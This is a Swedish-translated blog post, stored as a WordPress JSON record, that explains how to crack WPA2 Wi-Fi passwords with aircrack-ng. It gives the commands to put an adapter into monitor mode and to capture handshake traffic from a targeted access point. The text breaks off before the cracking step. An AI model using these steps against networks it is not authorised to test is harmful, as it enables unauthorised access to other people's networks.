{"id":37406,"date":"2019-10-31T22:17:27","date_gmt":"2019-10-31T19:17:27","guid":{"rendered":"https:\/\/prohoster.info\/blog\/podbor-parolya-wi-fi-utilitoj-aircrack-ng\/"},"modified":"2019-10-31T22:17:27","modified_gmt":"2019-10-31T19:17:27","slug":"podbor-parolya-wi-fi-utilitoj-aircrack-ng","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/podbor-parolya-wi-fi-utilitoj-aircrack-ng","title":{"rendered":"Val av Wi-Fi-l\u00f6senord med aircrack-ng-verktyg","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Denna artikel \u00e4r skriven uteslutande f\u00f6r informations- och forsknings\u00e4ndam\u00e5l. Vi uppmanar er att f\u00f6lja reglerna f\u00f6r n\u00e4tverksanv\u00e4ndning och lagarna, samt alltid t\u00e4nka p\u00e5 informationss\u00e4kerheten.<\/i><\/p><\/blockquote>\n

Introduktion<\/h3>\n

\nI b\u00f6rjan av 1990-talet, n\u00e4r Wi-Fi just hade dykt upp, skapades algoritmen Wired Equivalent Privacy, som skulle s\u00e4kerst\u00e4lla sekretessen f\u00f6r Wi-Fi-n\u00e4tverk. WEP visade sig dock vara en ineffektiv skyddsalternativ som l\u00e4tt kunde brytas.<\/p>\n

Som svar kom den nya skyddsalternativet Wi-Fi Protected Access II, som idag anv\u00e4nds av de flesta Wi-Fi-\u00e5tkomstpunkter. WPA2 anv\u00e4nder en krypteringsalgoritm, AES, som \u00e4r mycket sv\u00e5r att bryta.
\n<\/a><\/noindex><\/p>\n

Men var \u00e4r s\u00e5rbarheten?<\/h3>\n

\nNackdelen med WPA2 \u00e4r att det krypterade l\u00f6senordet skickas vid anslutning av anv\u00e4ndare under den s\u00e5 kallade 4-way handshake (fyrav\u00e4gshandryckningen). Om vi f\u00e5ngar handskakningen kan vi f\u00e5 k\u00e4nnedom om det krypterade l\u00f6senordet, och d\u00e5 \u00e5terst\u00e5r det bara att dekryptera det. F\u00f6r detta \u00e4ndam\u00e5l kommer vi att anv\u00e4nda aircrack-ng.<\/p>\n

S\u00e5, hur bryter man sig in?<\/h3>\n

<\/p>\n

Steg 1. Identifiera gr\u00e4nssnittet<\/h4>\n

\nF\u00f6r att b\u00f6rja m\u00e5ste vi ta reda p\u00e5 vilket n\u00e4tverksgr\u00e4nssnitt vi beh\u00f6ver, s\u00e5 vi skriver in kommandot:<\/p>\n

$ ifconfig<\/code><\/pre>\n
\nVi f\u00e5r svaret:<\/p>\n
eth0     inga tr\u00e5dl\u00f6sa utvidgningar.\n\nwlan0     IEEE 802.11abgn  ESSID:off\/any\nL\u00e4ge:Hantera  \u00c5tkomstpunkt: Inte associerad   Tx-Power=15 dBm\nKort returf\u00f6rs\u00f6ksgr\u00e4ns:7   RTS thr:off   Fragment thr:off\nKrypteringsnyckel:off\nStr\u00f6mhantering:off\n\nlo        inga tr\u00e5dl\u00f6sa utvidgningar<\/code><\/pre>\n
\nI mitt fall finns det tre gr\u00e4nssnitt, tv\u00e5 av dem har inga tr\u00e5dl\u00f6sa utvidgningar (ingen tr\u00e5dl\u00f6s utvidgning). S\u00e5 vi \u00e4r intresserade av wlan0.<\/p>\n
Steg 2. S\u00e4tt n\u00e4tverksadaptern i \u00f6vervakningsl\u00e4ge<\/h4>\n
\nAtt s\u00e4tta n\u00e4tverksadaptern i \u00f6vervakningsl\u00e4ge g\u00f6r att vi kan se den tr\u00e5dl\u00f6sa trafiken som passerar i n\u00e4rheten. F\u00f6r att g\u00f6ra detta skriver vi in kommandot:<\/p>\n
$ airmon-ng start wlan0<\/code><\/pre>\n
\nObservera att airmon-ng har bytt namn p\u00e5 ditt gr\u00e4nssnitt (i mitt fall blev det mon0, men du b\u00f6r \u00e4nd\u00e5 kontrollera).<\/p>\n
Steg 3. F\u00e5nga trafiken<\/h4>\n
\nNu n\u00e4r v\u00e5r n\u00e4tverksadapter \u00e4r i \u00f6vervakningsl\u00e4ge kan vi f\u00e5nga den trafik som passerar med hj\u00e4lp av kommandot airodump-ng. Skriv:<\/p>\n
$ airodump-ng mon0<\/code><\/pre>\n
\n\"Val
\n
\nObservera att alla synliga \u00e5tkomstpunkter listas h\u00f6gst upp p\u00e5 sk\u00e4rmen, medan klienterna listas l\u00e4ngst ner.<\/p>\n
Steg 4. Inrikta f\u00e5ngsten p\u00e5 en specifik \u00e5tkomstpunkt.<\/h4>\n
\nV\u00e5rt n\u00e4sta steg \u00e4r att fokusera v\u00e5ra anstr\u00e4ngningar p\u00e5 en specifik \u00e5tkomstpunkt och dess kanal. Vi \u00e4r intresserade av BSSID och kanalnumret f\u00f6r den \u00e5tkomstpunkt vi kommer att bryta. L\u00e5t oss \u00f6ppna ett till terminalf\u00f6nster och skriva in:<\/p>\n
$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0<\/code><\/pre>\n
\n\"Val
\n<\/p>\n